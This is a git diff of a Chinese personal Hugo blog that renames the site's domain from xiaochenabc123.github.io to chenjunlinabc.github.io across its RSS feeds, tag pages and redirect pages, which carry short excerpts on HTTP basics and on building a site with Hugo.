-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Sun, 08 Aug 2021 17:02:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/http/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Sun, 08 Aug 2021 17:02:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/http/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单认识HTTP协议</title>
-      <link>https://xiaochenabc123.github.io/posts/77/</link>
+      <link>https://chenjunlinabc.github.io/posts/77/</link>
       <pubDate>Sun, 08 Aug 2021 17:02:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/77/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/77/</guid>
       <description>HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的
 HTTP是基于TCP/IP协议来传输数据的
 访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应
diff --git a/tags/http/page/1/index.html b/tags/http/page/1/index.html
index 7620a230..8649c408 100644
--- a/tags/http/page/1/index.html
+++ b/tags/http/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/http/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/http/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/http/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/http/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/http/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/http/"></head></html>
\ No newline at end of file
diff --git a/tags/hugo/index.html b/tags/hugo/index.html
index 5ba7338f..f2326cd0 100644
--- a/tags/hugo/index.html
+++ b/tags/hugo/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Hugo | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/hugo/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/hugo/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Hugo"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/hugo/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Hugo"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Hugo</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Hugo搭建网站</h2></header><div class=entry-content><p>Hugo是基于Go语言开发的静态网站生成器，特点就是快
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Hugo | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/hugo/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/hugo/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Hugo"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/hugo/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Hugo"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Hugo</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用Hugo搭建网站</h2></header><div class=entry-content><p>Hugo是基于Go语言开发的静态网站生成器，特点就是快
 安装
 二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）
 https://github.com/gohugoio/hugo/releases
@@ -23,7 +23,7 @@
 如果报错，you need the extended version to build SCSS/SASS的话，请使用extended版本
 部署到github pages
 hugo –baseUrl=“http://chenjunlinabc.github.io/"
-如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了</p></div><footer class=entry-footer><span title='2022-02-22 05:19:00 +0000 UTC'>2022-02-22</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Hugo搭建网站" href=https://xiaochenabc123.github.io/posts/137/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了</p></div><footer class=entry-footer><span title='2022-02-22 05:19:00 +0000 UTC'>2022-02-22</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用Hugo搭建网站" href=https://chenjunlinabc.github.io/posts/137/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/hugo/index.xml b/tags/hugo/index.xml
index eae9527c..d38339a3 100644
--- a/tags/hugo/index.xml
+++ b/tags/hugo/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Hugo on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/hugo/</link>
+    <link>https://chenjunlinabc.github.io/tags/hugo/</link>
     <description>Recent content in Hugo on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Tue, 22 Feb 2022 05:19:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/hugo/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Tue, 22 Feb 2022 05:19:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/hugo/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用Hugo搭建网站</title>
-      <link>https://xiaochenabc123.github.io/posts/137/</link>
+      <link>https://chenjunlinabc.github.io/posts/137/</link>
       <pubDate>Tue, 22 Feb 2022 05:19:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/137/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/137/</guid>
       <description>Hugo是基于Go语言开发的静态网站生成器，特点就是快
 安装
 二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）
diff --git a/tags/hugo/page/1/index.html b/tags/hugo/page/1/index.html
index ca641e28..383fdc73 100644
--- a/tags/hugo/page/1/index.html
+++ b/tags/hugo/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/hugo/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/hugo/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/hugo/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/hugo/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/hugo/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/hugo/"></head></html>
\ No newline at end of file
diff --git a/tags/index.html b/tags/index.html
index 4672935c..ede3c2f3 100644
--- a/tags/index.html
+++ b/tags/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Tags | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Tags"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Tags"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span class=active>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><h1>Tags</h1></header><ul class=terms-tags><li><a href=https://xiaochenabc123.github.io/tags/a11y/>a11y <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/angular/>Angular <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/ant-design/>Ant Design <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/beego/>beego <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/browserslist/>browserslist <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/csrf/>CSRF <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/css/>css <sup><strong><sup>7</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/deno/>Deno <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/docker/>docker <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/echarts/>ECharts <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/electron/>Electron <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/element/>Element <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/esbuild/>esbuild <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/eslint/>ESlint <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/express/>Express <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/flutter/>Flutter <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/gin/>Gin <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/git/>Git <sup><strong><sup>2</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/github/>Github <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/golang/>golang <sup><strong><sup>6</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/gulp/>Gulp <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/hexo/>hexo <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/html/>html <sup><strong><sup>2</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/http/>http <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/hugo/>Hugo <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/istanbul/>istanbul <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/java/>java <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/javascript/>JavaScript <sup><strong><sup>9</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/jest/>Jest <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/jquery/>jQuery <sup><strong><sup>2</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/koa/>koa <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/lerna/>Lerna <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/less/>Less <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/linux/>Linux <sup><strong><sup>2</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/markdown/>Markdown <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/mobx/>Mobx <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/mocha/>mocha <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/mongodb/>MongoDB <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/n/>n <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/nextjs/>NextJS <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/nginx/>nginx <sup><strong><sup>3</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/node.js/>node.js <sup><strong><sup>2</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/nodejs/>nodejs <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/npm/>npm <sup><strong><sup>3</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/nrm/>nrm <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/nuxt.js/>Nuxt.js <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/nvm/>nvm <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/pinia/>Pinia <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/pm2/>pm2 <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/pnpm/>pnpm <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/postcss/>PostCSS <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/pwa/>PWA <sup><strong><sup>1</sup></strong></sup></a></li><li><a href=https://xiaochenabc123.github.io/tags/python/>Python 